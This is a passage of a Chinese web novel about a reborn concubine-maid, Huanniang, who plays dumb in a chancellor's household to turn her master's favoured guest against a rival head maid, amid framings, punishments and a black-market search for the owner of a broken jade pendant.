“昨夜,儿子生病昏睡,不见外人,她人蠢,在外守了一整夜。” 萧怀停冷声道。 这不仅是否认了睡过的事实,还嫌弃她。 欢娘垂着眸,气的无可奈何。 “人是笨了些,但没什么心眼,老实本分,跟在晋文身边,我也放心些。” 不知是哪句话逗笑了老夫人。 她的语气居然轻快了些。 “欢娘,你来这里,所为何事?” “奴婢是过来请示老夫人的,大公子带回来的那女子该怎么安排?月莹让奴婢过来问问,可要重新找个院子让那女子住下?” 欢娘有些恼,心里越发觉得相爷这主子,难伺候的很。 面上,却‘老老实实’的说明自己的来意。 前世没有和冯婆正面冲突,也就没被月莹打发来这里。 宁从夏从大公子主卧里搬出来,也是半个月以后的事了,那也是老夫人突然想起这样有损大公子名声,不好说亲。 宁从夏被迫搬出,心生埋怨,可是气的很。 但现在,月莹为了打发她,不让她去献媚,多了这一句嘴,把她撵出来。 她便趁此机会,让宁从夏怨恨上月莹,是月莹提出要给她另外安排院子的。 宁从夏本就觉得大公子身边都是狐狸精,她定觉得月莹这是在针对她,算计她。 让宁从夏多一个敌人,而且这敌人位份更高,更聪明,更有手段,那自己的危险自然就降低了。 “那就将人送去倚竹院,秦嬷嬷,你亲自去找两个能干的丫鬟,过去伺候着,既然是晋文的贵客,万不能怠慢。” 老夫人确实是经提醒才想起这事。 欢娘听完,立刻行礼告退。 多留一刻都不是好事,相爷现在对她感官不好,她想还是别频繁出现的好。 只是刚走出去,就听到老夫人说起宁从夏的事,她不禁放慢了脚步。 “阿停,那晋文带回来的女子,你觉得该怎么处置?” “先问问他自己的意思。” 萧怀停余光瞥见门口那挪着小碎步,怎么都走不出门的女人,心中烦闷。 愚蠢的算计,难道她觉得老夫人知道他们的事,就会为她做主吗? 早上才拒绝了她,现在就跑来这里,看来还是威胁恐吓的不够。 老夫人见儿子反应很平淡,对这些事,并不关心。 也就没再多问,知道自家儿子从来不过问后宅之事,只能她去安排了。 难得大孙子有个喜欢的,纳妾也不错,能早日生曾孙子。 欢娘听了,没什么收获,低着头就转去了静安堂的后厨。 厨房里正忙着给老夫人做午饭。 因为相爷临时过来,得加菜,又不能误了用饭的时辰,所以大家很忙。 欢娘找了一圈,盯着掌勺的妇人,快步走过去。 那是她扫地三年,和她最要好的姐妹,赵娣,老夫人小厨房的厨娘,做的一手好斋菜。 也长了一身的好肉,那胳膊一拳就能抡翻一个好汉,她很壮实。 欢娘走过去,看着锅里的白萝卜丝正被翻来覆去的爆炒,很快就变色,然后出锅。 “老夫人平日里不点这个,是相爷爱吃的吗?” 直到她出声,赵娣才瞄了她一眼。 “大公子回府,你不在旁伺候,躲到这里来干什么?” 那语气,颇有些恨铁不成钢的样子。 “没躲,奉命来办差的,顺便来看看你。” 赵娣肯定以为自己又是因为害怕,所以躲来这里了。 以前,这是常有的事。 欢娘凑到她身边,把一旁的菜递给她。 外头的丫鬟这会儿已经忙着在上菜了。 赵娣又煮了一个豆芽汤,还有凉拌土豆丝,菜上完,她也能歇歇。 欢娘特地打水给她洗了把脸,两人坐在厨房外的石墩子上。 “这个是从丽姑姑那里得来的,送你。” 她要来的荷包,深灰色底布,只是绣了两片叶子,款式很简单,颜色也正是赵娣喜欢的。 赵娣蹙着眉,疑惑的打量着她。 要说丽姑姑都能感觉到欢娘的变化,作为欢娘最好的姐妹,赵娣能看不出来吗? 自打她去了大公子院里,就很少过来,没想再见面,变化这么大。 “我听说那院子里的人都怨你气走了大公子……” 赵娣收起那荷包,问起欢娘的近况。 她也没隐瞒,在那里被欺负,赵娣定是听说了的,因为她还托人给她送过药,还有一些老夫人赏赐的点心。 欢娘来找她,除了叙旧,确实也需要她的帮忙。前世她为求安稳,多的太好,和府中这些下人来往不多。 可赵娣却不一样,她在这后院里过的还不错。 所以她没什么隐瞒,将自己糟糕的处境和赵娣简单说了一下。 赵娣气的抡起了圆润的胳膊,然后又很无奈的白了她一眼。 “我就知道,你成了通房,一定遭人嫉恨,就算你什么都不做,还是有人要来害你,可偏偏你这人,不长脑子,又不会哄男人,你说说你……” 她气别人欺负欢娘,也气欢娘她自己蠢笨不会争宠。 “真白瞎了你这好脸蛋和身子,你要是给我,我高低要搏出点名头来。” 第七章开窍了?通房要有通房的自觉 她紧握着那比男人还大的拳头,后槽牙都要咬碎了。 “阿娣,我来是想跟你打听打听主子的喜好,除了老夫人,大公子和相爷,他们都喜欢吃什么?” 欢娘没法解释自己的打算,而且赵娣不知道也好,毕竟她要勾搭的是相爷,那太惊悚了。 只是她就这么一问,赵娣看她的眼神都变了。 带着少许的赞赏,就和丽姑姑白日里看她的神情一样,好像在说,你不错阿,终于开窍了。 “大公子不爱吃素,每次来看老夫人,都吃的极少,倒是相爷,都能吃,要偏爱豆芽汤,清炒萝卜一些,还有糕点……” 眼看着欢娘长出息了,赵娣还能不帮她吗? “你若是想用好吃的讨好大公子,直接去大厨房请人帮忙就是,他们最清楚大公子的喜好。” 赵娣以为她打听这些,是想伺候好大公子。 “你不能光想着这些表面的东西,伺候大公子,最重要的还是赶紧给他生个孩子,有老夫人为你做主,有了孩子,就算半个主子……” 可她担心欢娘愚笨,还苦口婆心的传授她‘争宠之道’。 欢娘也就听着,面上看着还是十分乖顺的。 毕竟赵娣说的这些,也同样适用于相爷。 只是生孩子,得睡觉才行,现在相爷明确拒绝了她,下次要爬床,不知道什么时候了。 说一阵子话,赵娣约她下午去大厨房找人帮忙,欢娘就先回了大公子的承德院。 她刚踏进院子,一个茶杯就从主卧那边飞了出来。 哐当一声,碎了一地。 “滚出去,我不喝,也不吃,你滚,萧晋文你个骗子。” 只听宁从夏那歇斯底里的声音从屋里传来。 茶杯碎了,跟着一堆的盘子,劈里啪啦被扔出来。 在主卧旁侧,站着秦嬷嬷和她带来的两个丫鬟,就落在秦嬷嬷脚边,还有的砸到了裙摆上,弄的到处是油渍。 秦嬷嬷垂着头,看不清情绪,但那俩丫鬟,都黑了一张脸。 她们跟在老夫人身边,一向重规矩,只怕是没想到大公子带回来的人,能这般嚣张跋扈。 随后大公子也黑着脸从主卧里走了出来。 “回去告诉老夫人,她不搬,就住在这院中养伤。” 他咬牙切齿的样子,像是又要揍人了。 “大公子,只怕这不合规矩阿。” “什么规矩不规矩的?人是我带进府的,我会负责,老夫人那里我自会去说清楚。” 说完,大公子就开始轰人。 秦嬷嬷强调自己是奉命而来,可还是被大公子轰了出去。 欢娘真意外。 宁从夏脾性竟是这般大? 前世她虽不喜,可也还是窝窝囊囊的搬了。 可今世怎的就不一样了?莫不成是受了什么刺激? 昨夜有她,今早有月莹,重伤的她可谓是重创一下接一下,大概是控制不住脾气了。 欢娘有些幸灾乐祸。 她越闹腾,就越好,虽然不会有实际进展,但让老夫人知道宁从夏是个什么性子,就是好事。 “你,赶紧去厨房,准备些饭菜再送来。” 欢娘正欢乐。 凶巴巴的大公子又冲她吼了。 方才因为宁从夏闹事,院子里的奴才都躲的远远的。 所以此刻院中就她一人。 大公子冷声吩咐完也没看她,便再次进屋,去哄人了。 “我不想见到你,出去。” 却听到宁从夏暴脾气的怒骂。 “大夫说你伤的重,昨夜又吐了很多血,可千万别再动怒了,否则容易留下后遗症。” 可大公子当真是看重极了这人,舍不得说一句重话,平日里被老夫人宠着养大的大公子。 现在却温声细语的哄着怒骂他的人。 欢娘暗叹口气,去厨房重新拿吃的。 等她再回来时,似乎已经哄好了,大公子坐在床榻边的椅子上,宁从夏斜靠在床上,气色很差。 和昨日一比,黑眼圈都出来了,人看着十分憔悴。 而一旁,月莹也在。 她一踏进屋子,宁从夏还特地侧开脸不看她。 “大公子,按照您的吩咐,吃食送来了。” 情况不太妙。 她一边观察一边小心翼翼的做事。 “过来。” 可下一秒就被大公子喊了过去,听声音,可并不友善。 看月莹刻意避开目光,欢娘已经猜到了不妙。 她垂着头,规规矩矩的走进。 “可是你向老夫人告状,要让宁姑娘拖着病体去别处住?” 萧晋文声音冷冽,藏着怒气。 他的表情,像是下一秒就要把人打一顿。 果然,她这是被迫背黑锅了。 看大公子的样子是完全信了月莹的话,她说什么都无意,而且也没有证据证明她说的话。 但这件事最重要的还是要看宁从夏怎么想。 她立刻看向月莹,一脸的错愕。 她未说话,但表情已经十分明显了。 但月莹是何人?大公子的贴身大丫鬟,就这点小小的‘栽赃’是手到擒来,怎会因这等小事露出端倪呢? “奴婢只是吩咐欢娘去绣房,想为宁小姐做两身衣服,只是老夫人那里……还请公子明鉴,未请示公子前,奴婢不敢乱来。” 她规矩的站在一边,不慌不忙。 简单两句话就把自己给摘除了。 欢娘大为震惊,眼里刻意蓄起泪水,不可置信的看着她。 “月莹姐姐,你怎能……这般诬陷我,明明就不是……” 她忐忑的连话都说不清楚。 月莹也没给她机会,再次打断她的话。 “欢娘才来公子院里,怕是不清楚这里的规矩,又想着为公子分忧,想尽快安排好宁小姐。 “她毕竟在老夫人院里干了三年,估摸是想着有些情分,她去说明缘由,老夫人对宁小姐也会上心些。” “不,不是这样的……” 看上去欢娘最笨,无法辩驳,可满脸的委屈好像在说,她好冤枉,她百口莫辩。 听上去也没指责欢娘,好像还是在为她说好话。 说她一心为大公子办事,只是不懂规矩,用错办法而已。 但难道她不是在说,欢娘是老夫人的人吗?不是在提醒大公子,她是被老夫人塞过来的通房? 她这么做,根本就是为了撵走宁从夏,要争宠? 可真是好算计。 约莫是看到大公子不顾规矩,把宁从夏留在这里,还撵走了老夫人的人。 知道大公子定会追究怪罪,所以她恶人先告状,把脏水泼到了她身上。 可她越是这样精明,才越好。 因为宁从夏不仅善妒,还自负,自认为后宅里都是一群蠢笨的女人在耍心机,她能随便看穿。 第八章通房她蠢的挂相 就比如此刻,蠢笨的通房丫鬟被冤枉了,百口莫辩。 沉稳的贴身大丫鬟应付起来却游刃有余,不仅把自己摘除干净,还表面为通房丫鬟说话,却暗示她心思不纯? 自负的宁从夏,会相信谁呢? 欢娘噙着眼泪,余光却瞥见宁从夏冷冽的目光从月莹身上扫过。 她便知道自己这‘蠢笨’的样子,宁从夏是真的信了。 一个美艳通房,一个聪慧沉稳的贴身大丫鬟。 好阿,这才跟他回来一日,已经有两个了。 昨夜她一心想着要把那通房赶出去,可现在一看,除了美艳,一无是处,没脑子,愚蠢。 就这么轻易被人推出去当替死鬼。 不像那贴身大丫鬟,反应快,也聪慧,定是她要将自己撵出去,可计划失败后,怕欢娘说出实情,所以才立刻跑来先告状。 而萧晋文呢?想都没想就已经相信她了。 两人可真是情谊深厚的很。 所以,这月莹,才棘手的很。 倒不如……借着欢娘的手,打压她。 蠢笨的通房,是很好控制的。 也就是打个巴掌,给一颗甜枣的事。 所以现在得先给欢娘一个巴掌才行。 “萧晋文,你身边的女人,可真乱,我懒得应付,你送我出去,我不待在这儿。” 宁从夏冷声道,眼皮微抬,冰冷的眼神扫过月莹时,微不可察。 但她看着欢娘,萧晋文却注意到了。 他将人按回去。 “你还不信我?我刚不是跟你说了吗?这女的我见都没见过,那是老夫人安排的人,昨夜我也是第一次见她。” 说着突然就站起身,一脚就把欢娘踢倒在地。 “我身边,容不得你这种耍小聪明的奴婢,现在你就回老夫人那儿,告诉老夫人,我不需要什么通房,谁都不要。” 他急着证明自己,而且当真烦透了这阴魂不散的通房。 踹的毫不客气。 欢娘觉得自己的肩膀火辣辣的疼。 果然,赌对了,宁从夏自负,压根不信月莹的说辞。 既如此,那便继续,伪装好自己的‘蠢笨’,配合她就是,只要宁从夏将矛头精准的对着月莹,她不介意先装傻充愣。 “公子恕罪,欢娘不能回去,奴婢已经是您的人了。” 她咬了咬牙,水汪汪的眸子看向萧晋文。 蠢笨的她无言以对,只能求这里的主子。 狐媚子,勾引人。 知道她蠢,可宁从夏看了,还是再次气不顺。 “奴婢知错,奴婢不该不守规矩,胡乱揣测公子的心思,宁小姐,奴婢从未想过要将您赶出去,奴婢也不敢。” 狐狸精不也不算太蠢,知道在这里,谁才能决定她的死活。 宁从夏心里确实得意了一下。 面上却故作恼怒。 “萧晋文,你为难一个奴婢做什么?你如果不要她,自己去和老夫人说清楚,赶她出去,她能为自己做主吗?你这样和江湖上欺负弱小的恶霸有何区别?” 宁从夏恶狠狠的瞪着萧晋文,十分嚣张。 甚至还有几分说教的意味。 一旁,月莹看的呆了一下。 欢娘更加配合,抬起头‘惊愕’的看着她。 顿时,宁从夏心底那小小的虚荣心得到了满足。 你们毕恭毕敬伺候的主子,在我面前,也不过如此。 “小夏,我不是这个意思,我只是不想让她留在这儿,让你误会……” “你怕我误会?那不如将她给我,我受了伤,让她伺候照顾,如何?” 宁从夏很满意欢娘的反应,萧晋文给了她一巴掌,自己救了她,那她还不对自己死心塌地? “你要她?” 萧晋文却觉得匪夷所思,毕竟今天一早,小夏还在质问那通房到底是怎么回事? “怎么,舍不得?” 怎会呢? “行,欢娘,从今日起,你便贴身伺候宁姑娘。” 萧晋文不带一丝犹豫,只要小夏相信他,干什么都行。 他压根就不在乎欢娘这个丫鬟到底会去哪儿。 “是,奴婢遵命。” 欢娘连忙应下,略带感激的‘眼神’投向宁从夏。 还真是多亏了月莹的聪慧,恶人先告状,给她泼了脏水。 这下不用她再多做什么,宁从夏已经将月莹当成头号敌人了,而她,暂时安全。 月莹的脸色就不大好了。 宁从夏此举,分明就是没相信她方才的说辞,这女人,怎的如此精明?一下就将她看穿了。 而且看公子对她的‘态度’,那可不是什么好事。 午后。 月莹做完事情回到房里。 冯婆就端着熬好的糖水进来了。 “如何?那欢娘可是被大公子赶出去了?” 冯婆认为大公子讨厌她,现在又犯了大错,更加招人烦,那不应该是随随便便就撵出去的吗? 只有撵走她,女儿才有机会伺候大公子。 “阿娘,我不是跟你说过很多次吗?那丫鬟蠢笨怯懦,大公子根本就不会看上她,何必花心思在她身上?” 这一提,月莹无奈极了。 “可她……” “随着公子回来的这位宁姑娘,你让大哥去打听打听,到底什么来历?” 宁从夏才是她该在意的。 冯婆一家都是相府的家奴,大哥也在相府铺子里做事,平时经常在外跑,倒是方便打听。 “那欢娘呢?” 冯婆应下,还是不死心的问了一句。 月莹无奈至极,面无表情的看着自己母亲。 “宁姑娘保她,现在咱们也不清楚那宁姑娘到底什么来历,就先别动。” 直觉告诉她,宁从夏已经对她有敌意了。 月莹不想这时候再招惹她,惹出是非。 冯婆根本就不甘心,但她闺女一直都聪明,听她的准没错。 宁从夏吃完饭后,就睡了。 欢娘再次被大公子撵出来,他要亲自看着心上人睡觉。 正巧她和赵娣约定好要去大厨房找人,所以她回屋歇了会儿,将自己的财物藏好,只留一些碎银子在身上,才出门。 她的住处是最角落里的下人房,本来是四人间,但她不受待见,那房子又潮湿阴暗,所以一直都只有她一个人住。 不用去耳房守夜时,她都会待在这里。 出门时,她和以前一样,把门锁上,又撒了把香灰在那锁上。 没办法,里面放着自己全部身家,可这里又不是她的家,实在是不放心。 她一出去,就遇到了赵娣。 “这么慢,还以为你出不来了呢。” 赵娣是来迎她的,看到她人还担心的往承德院看了看。 欢娘只是笑了笑,也没说今日她还真差点摊上了大事,而且也算因祸得福,她将计就计,用‘蠢笨’突出了月莹的聪慧。 两人就去了大厨房,赵娣要给她介绍一个人,那人在大厨房做了很多年,很了解主子的口味。 约莫一个时辰后,两人办完事,就各自去忙活了。 欢娘回去就找了月莹,接手给宁从夏熬药,端药的活计。 月莹倒是没为难她。 欢娘也没质问她为何要让自己背锅,事情都过去了,大家也都心知肚明是怎么回事。 所以她热了药,就端着去主卧。 这番平静的操作,让月莹愣了一下,她还以为这蠢笨的老丫鬟会哭哭啼啼的呢。 难道她都知道?还是故意的? 第九章互为棋子,立蠢笨人设刀人 但这样的想法只是一闪而过,就被她否认了。 她自认为欢娘还没那样的头脑,若有,就不会是这样的处境了。 再见宁从夏时,总算是她一个人了,欢娘看着冷冷清清的主卧,她一人就占据着大公子的床。 就如同她这个人,将大公子的心都填满了,她要将她从大公子心里一点点的拔除,可不容易阿。 “宁姑娘,喝药了。” 她隐下心里的哀愁,端着药走到她身边去。 “萧晋文被相爷找去了,现在他不在。” 宁从夏缓缓的坐起身子,淡淡道。 “奴婢不敢追问大公子的行踪。” 欢娘顺口就答道。 她这话无非就是在试探她是否很在意大公子? “不敢追问?可却敢勾引?” 可这样回答都避免不了她的嘲讽和试探。 欢娘伺候着她喝药,心中明白,昨夜初见面,可把她气坏了。 但气死才好呢。 “宁姑娘,奴婢……本就是大公子的通房,只要大公子需要,奴婢是不能拒绝的。” 她‘愚蠢’的回答。 谨遵她作为一个通房的本分。 反正前世自己对大公子没有一点非分之想,她都不信,还说她虚伪。 那现在,大大方方承认好了,还能气气她。 宁从夏还真没想到她敢这么答,脸上嘲讽的笑消失了几分,眼中占满了怒气,还有一丝敌意和厌恶。 “那他若是不愿意,厌恶你,难道你还要在这里蹉跎一生,直到老死不成?” 她又问道。 若一直备受冷落,当然是想方设法献媚爬床了,这是通房丫鬟的命运。 可欢娘知道宁从夏不会喜欢这样的回答。 所以她一脸茫然,忐忑,然后又无措的垂下了头,似乎是被她所说的结局吓到了。 “要是那样,奴婢……也没办法。” 呵…… 果然愚蠢,又胆小懦弱。 真是白瞎了她那副好身子阿,若是给她的话…… 宁从夏眼中划过不屑和讥讽,更多的却是忌恨。 昨夜她身娇肉软,肤若凝脂的样子她至今都记得清清楚楚。 即便现在穿着粉色棉袄,裹的严严实实,可厚重的棉袄也遮掩不住她窈窕身段,尤其是走起来路来,腰肢曼妙。 这种人,就算蠢笨,也会因姿色被男人惦记上,所以留不得。 利用完就得除掉。 “罢了,看你这般可怜,回头我劝劝他,总要给你一儿半女的,就算他不喜你,可既然做了他的通房,他理应对你负责才是。” 宁从夏强忍着恶心,说出违心的话。 “真……真的?宁姑娘,大公子他会听您的话吗?” 她惊讶,又惊喜,眼里满是期盼。 宁从夏虽觉得很膈应人,但还是忍了。 “自然,我与你们大公子……情分非常,有着过命的交情。” 她很骄傲,自认为在萧晋文眼中,是与众不同的。 “那日后宁姑娘可要嫁给大公子?” 欢娘故作惊喜,兴冲冲的问道。 宁从夏嘴角勾起一抹得意的笑,却故作严肃的解释。 “我与他,并非你想的那种关系,更何况我在江湖上自由惯了,受不了你们这种被关在宅院里的生活。” 她一脸傲慢,眼底全是对‘宅院’生活的鄙夷和不屑。 “可大公子很在乎宁姑娘,而且宁姑娘也是好人,如果宁姑娘做了少夫人,定也是个好主子,对待妾侍通房定也是宽容大方的。” 欢娘面上无比真诚的夸赞。 “老夫人说过,希望相府子孙绵延,日后是要给大公子纳妾娶侧室的。” 又妾侍,又通房的。 宁从夏又被气到了,她突然觉得,和蠢笨的人说话,真的很容易受内伤。 “若不是奴婢,月莹就该是大公子的通房了,院里所有人都将她当成半个主子,想来就是因奴婢抢了她的位置,她才会陷害奴婢。” “宁姑娘,既然大公子听您的,能不能您去跟大公子说一声,让大公子收了她,若是这般,月莹往后应该不会再找奴婢麻烦了。” 听她越说越离谱,宁从夏深吸了口气,暗暗告诫自己,千万要冷静。 “她嫉妒你的身份,若让她和你一样成了通房,那日后还有你的活路吗?” “奴婢不会跟她争,而且也争不过的,以前大公子和月莹就走的很近,她伺候大公子日常起居,两人时常呆在一起。” 欢娘又道。 闻言,宁从夏暗自握紧着拳头,指甲都嵌入了软肉。 脑花中闪过萧晋文和别的女人卿卿我我的画面,脑海中就只有一个念头。 萧晋文骗了她,骗的她好惨。 “这般说来,他们还是青梅竹马了,你仔细给我说说他俩的事?” 她故作云淡风轻的笑道。 欢娘也配合着,顺势说起了两人的事。 “奴婢也是听院里其他人说的……” 以宁从夏的性子,根本不会去查验真假,更不会去质问大公子。 只要听到点谣言,足以让她对月莹起了杀心。 比如在春暖花开之际,出去踏青,会专门摘花回来送她。 雪天会一起玩雪球,堆雪人。 病了还亲自喂药,嘘寒问暖,甚至还教她读书识字…… 宁从夏强忍着在听,可终究是没忍住,气的一口血喷出,咳嗽不止。 她捂着胸口处,受伤的位置,咳的好像没了半条命。 “奴婢这就去找大夫……” 刺眼的红映入红娘眼底,她眼中的笑意稍纵即逝。 转身就要走时,却被宁从夏拽住了。 又咳嗽了好一会儿,包扎好的伤口流了血。 欢娘用帕子,假模假样的去擦,却‘蠢笨’的越弄,洁白的衣服越脏。 而且还用力在她伤口上按了几下,宁从夏疼的直哼哼。 “宁姑娘,是不是奴婢说错了什么?您……是不是不高兴了?其实奴婢看得出来,大公子他现在最在意的肯定是你,不是月莹。” 欢娘忐忑的问道。 软刀子是一刀刀的砍在宁从夏心口。 “有什么可生气的?我还觉得有趣呢?听你这般说来,这月莹还是个有本事的,她在这府中,是什么背景?” 等她缓过神来,已经是脸色煞白,因强憋着愤怒,眼眶通红。 第十章丫鬟贪财,能捞一点是一点 “这……奴婢其实不太清楚。” 欢娘故作茫然。 “那便去打听。” 宁从夏又被气了一下。 “她若真与萧晋文情谊深厚,成全她也并无不可,但只怕她别有居心,懂吗?” 可她又不能明说她是要对付月莹,只能胡乱找个借口搪塞。 但好在欢娘蠢笨,居然真的就信了。 只见她点了点头。 “宁姑娘果真心善,只是……欢娘在这院里并不受待见,若要去探月莹的底细,需要些银子。” 欢娘说着,略显局促。 要银子办事?果然是眼皮子浅的狗奴才。 宁从夏无语的翻了个白眼。 可转念一想,这不过是她入相府的第二日,在此之前她也就是个混江湖的,自打认识萧晋文以后,身上就没带过银子。 现在怕是也就只有二两碎银子在身上。 相府这些奴才自己没多少月银,却是见惯了有权有势之人,她若拿二两银子让她办事,未免寒酸。 思索片刻后,她将自己那块月牙的白玉玉佩给了欢娘。 “我进来的匆忙,你拿这个去当了,尽快打听清楚月莹的背景。” 她假装的不在意,但欢娘却注意到她拿玉佩时,眼里是充满了不舍的。 “可奴婢平日是不准外出的。” 欢娘接过,故作为难。 “我自会告诉萧晋文,你出府为我办事,明早放心的去,院里若有人为难你,我会为你做主。” 宁从夏没好气的道。 越发觉得她不仅蠢笨,还胆小。 “是,宁姑娘放心,奴婢定为你办好此事。” 等她忙完从主卧出来时,天色已黑。 白日里虽然出了太阳,但依旧是天寒地冻的,她简单洗漱后,照旧端着火盆冲进耳房。 既然她现在要伺候宁从夏,晚上就得在这里守夜。 欢娘脱掉那身崭新的棉袄,缩在单薄的被子里,因为太冷,她又将棉袄当成被子盖在身上。 整个人都蜷缩在被子里,拿着宁从夏给的玉佩,开始打量。 她记得前世宁从夏和大公子成亲时,身上还带着那玉佩,还说了一些似是而非的话。 口中还念着‘师兄’,莫怪她无情之类的话。 而且看玉佩的形状,应当是一半。 所以有没有可能宁从夏心里,还惦记着另一个男人呢? 若是这样的话,或许这玉佩,会是拿捏她的把柄。 也是离间两人感情的利器。 忽然一声轻微的开门声,扰了她的思绪。 抬头一看,只见大公子已经轻声走到了床榻边。 他没做什么,就看了看宁从夏,然后又悄然离开。 可她,怎配得上大公子这样的深情呢? 欢娘暗暗发誓,定要让宁从夏一点点的失去大公子的宠爱。 翌日一早。 宁从夏从萧晋文那里要了腰牌,让她出府。 府里的仆人若不得主人许可,是不能随便外出的。 当然每月也会有两天的休沐,就那两天,若要外出,需提前报备。 欢娘自打进相府后,就没再出来过,所以当她突然站在繁华热闹的街道上时,只觉得这片天地,是那样的陌生。 她循着以前的记忆,戴上面纱,直接去了黑市。 那里她熟悉,因为她就在那个地方被卖了三回。 她找了一个专门贩卖赝品的小贩,将玉佩拿给他拓印,然后给了他十两银子,让他帮忙找到这玉佩的另一半,找到那人。 黑市里的人三教九流,消息很广,以前她在这里等着被卖时,耳濡目染过一些,便也清楚他们的办事规则。 “若是找到人,我便再给你二十两作为报酬。” 出钱办事和出钱买一个结果就是两回事。 所以她咬咬牙,可说是大出血。 小贩一听便懂了她的意思,知道她定是要找到人不可,脸上笑意更深了些。 花三十两来找个人,这已经是大主顾了,况且他本就是倒卖玉器赝品为生,对玉器很了解。 只要知道玉器的来历,要找人,并不难。 “明白,我每日出摊,七日后姑娘便可来问消息。” 小贩的态度都热情了些许。 欢娘点头应下,拿着玉佩就离开了黑市,找一家当铺,将那玉佩典当,换了十两白银。 转身她就去逛街。 把以前舍不得买的东西,都买了一些带回去。 天儿冷,欢娘买了个汤婆子,晚上能暖床。 本来以她现在的小金库,买个手炉也完全可以,但那太扎眼了。 路过卖首饰的,她看到两朵精致的绒花,一个红梅,一个绿梅。 她记得那晚相爷屋里,梅香清淡。 相爷的院子里还种了两颗梅树,想来他喜欢梅。 投其所好,她花一百文买下两朵,打算回头找机会再戴。 而她自己是喜欢山茶花的,她思忖片刻,看着艳红的山茶,也买了一朵。 至于衣裳,相府的丫鬟有统一的服侍,她若买回去穿不一样的,就是不合规矩。 若日后得宠,主子自然赏赐,不必她多费银子。 虽然她是委托丽姑姑买一些调香用的材料,但她还是去了一趟药材铺。 她要为相爷调一种独特的香料。 这样哪怕她不露面,也不担心相爷会忘记她。 采办结束,她又在路边吃了碗馄饨,才回相府。 把东西放回房间后,她先去主卧见了宁从夏。 “宁姑娘,这是当票,您收好,一共是十两银子,奴婢花了五两……” “不用跟我交代,事情办好了就成。” 当票她收了起来。 回头等萧晋文给她银子,她定是要想法子赎回来的,那玉佩对她来说,意义非凡。 至于她钱是怎么花的?她可没听说过京都贵人砸钱去办事,还得让奴才交代清楚钱去了何处的? 她不打听,省得显得她小家子气。 欢娘早已料想到了,昨夜支支吾吾没肯开口,就是要宁从夏花钱买消息。 当然若宁从夏真要听她如何花了这笔钱,她就随口编,回头即便是她察觉自己有所隐瞒。 只会以为她是‘贪财’,便会自以为是的利用她‘贪财’这一点,好拿捏她,利用她对付月莹。 欢娘自然是能从她身上捞多少,是多少了。 想要有人为自己办事,就得砸钱。 面上她一副震惊又感动的神情。 “宁姑娘您放心,欢娘日后也定好好为您办事。” 宁从夏看欢娘就这么轻易被收买了,心里万分鄙夷和不屑。 但她的态度,她也很受用。 “月莹她是家仆……” 欢娘便说起了自己‘打听’回来的消息。 第十一章两个女人的战争 月莹的父亲跟在相爷身边当差,是车夫,母亲冯婆,还有个哥哥在铺子里做事,嫂嫂在大厨房当差,夫妻两人生了个男孩儿已经五岁。 一家人都在府里做事。 “一家都是奴仆阿,可真有意思。” 宁从夏听完后,脸上嘲讽更甚。 她看不上,可她不知道像这样的家仆,在相府根基之深,而且也深受主家信任。 主家可不会因为一点小错就随便处置他们。 “她那嫂子,在大厨房负责什么?” 可宁从夏已经有了对付月莹的法子,柿子就要找软的捏,一个家庭里,儿媳妇永远是外来人,最好收拾。 “做糕点。” 欢娘低头,规规矩矩的应答。 午后,阳光炙热。 长风院的书房,萧怀停坐在窗边阅文书,屋外红梅上的雪偶有坠落,梅花轻轻晃动,似乎是在向萧怀停打招呼。 萧一步伐匆匆,从外头进来。 “欢娘今日出了相府……” 她的行踪,被密切监视着。 萧一说完后,也皱了眉。 “因为距离远,黑市人多眼杂,不便跟太近,不知道她和那倒卖赝品的小贩说了些什么,可要去逼问那小贩?” 萧一是真没想到,老实本分的欢娘阿,居然会去黑市,还能有交易? 这与情报不符。 他一度怀疑,爷的猜测难道是对的,欢娘真是别人派来的眼线? “先盯着。” 萧怀停手中的笔一顿,清冷的眸里划过一丝错愕。 萧一点了点头,却在心里叹息着。 可惜了,她居然真的不是什么好人。 而这个下午,承德院也很热闹。 萧晋文回来以后,贴心的给宁从夏喂糕点。 可刚一口咬下去,她便痛呼着吐出了一口血,还有一根极小的绣花针。 宁从夏嘴巴被扎伤,萧晋文暴怒。 “谁送来的糕点?” 他看着那又细又尖的绣花针,生出了寒意。 宁从夏疼的倒在他怀里,眼泪直流。 再之后,做糕点的阿素,也就是月莹的嫂子便被找来。 阿素直喊冤枉,可却无人能救她。 萧晋文看着受伤的宁从夏,直接就罚她在院中跪一天一夜,以儆效尤。 而且看着伤上加伤的宁从夏,他心疼极了,当即招来院里所有的下人。 “宁姑娘是本公子的贵客,看清楚了,好生伺候着,她若再有半点差池,拿你们试问。” 糕点里都能吃出针来?要么是这些人大意,要么……就是刻意针对。 欢娘站在宁从夏身旁,只见她正带着一抹浅笑,看着跪在对面最前面的月莹。 那是挑衅的冷笑。 月莹眸色一凝,已经垂下了眸。 真好,这下她们两个女人的争斗,算是开始了。 只是宁从夏够狠,也有心计,月莹若一直处于下风,岂不是让她春风得意? 入了夜 冷风徐徐,院子里的阿素被冻的瑟瑟发抖,脸色苍白。 宁从夏透过窗户,漫不经心的看着,欣赏她的‘杰作’。 欢娘熬了药,端进屋。 顺着她的目光往外看去,只见不远处,月莹站在走廊下,浑身冷意,却看不清表情。 “真没想到,她居然要害你,早知道便不该让她给姑娘送点心了。” 欢娘叹息着,一副老实人永远不明白人家聪明人到底在想什么的模样。 “阿素与我无冤无仇,怎会害我呢?你别忘了,她和月莹是什么关系?” 宁从夏现在已经习惯了欢娘的愚蠢,也就不绕弯子,免得她听不懂。 “姑娘是说,是月莹她要害您?” 欢娘故作惊讶,眼里都满是不可思议。 “现在你还觉得我应该为她说话,让你们的大公子收了她吗?” “不,不应该,不行,她要害姑娘,不可以。” 欢娘连忙摇头。 “她既不是什么好人,那我对她也不会客气,欢娘,你可愿意帮我?” “恩,奴婢一定帮姑娘,帮姑娘就是帮大公子,只要大公子高兴,奴婢做什么都行。” 欢娘坚定的点了点头。 也日常恶心宁从夏两句,只见她无语的翻了个白眼,语气都冷了些。 “明日一早,你去街上买两个葱肉馅饼,给大公子送去。” “可大公子怕是不想见到奴婢,而且大公子的日常饮食都是月莹负责……” 她这就要开始利用她对付月莹了吗?欢娘佯装自己有些怕。 “我让你去,你便放心的去,记住,看到月莹也不用怕,你别忘了你的身份,伺候大公子才是你的职责。” 宁从夏暗自鄙夷,她真是个没出息的。 欢娘认真的想了一会儿,才忐忑的应下。 “好,奴婢去。” 只是让她去送点吃的,好像要她命一样,一看就是难成气候的。 深夜。 欢娘端着热水进屋,简单擦洗了下身体,就准备要去耳房当值。 可刚要开门时,就见院墙外有一抹昏暗的亮光正朝着这边移动,好似是有人来了。 